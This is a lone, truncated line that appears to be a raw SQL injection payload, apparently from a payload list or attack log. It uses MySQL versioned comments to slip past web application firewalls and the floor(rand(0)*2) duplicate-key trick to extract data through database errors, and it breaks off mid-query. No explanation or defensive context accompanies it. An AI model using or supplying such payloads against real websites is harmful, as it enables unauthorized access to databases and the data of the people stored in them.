*"/*!50000and*/row(4843,5460)>(/*!50000select*//*!50000count*/(*),/*!50000concat*/(%27~%27,(/*!50000select*/(elt(4843=4843,1))),%27~%27,floor(rand(0)*2))x/*!50000from*/(/*!50000select*/4354/*!50000union*//*!50000select*/4449/*!50000union*//*!50000select*/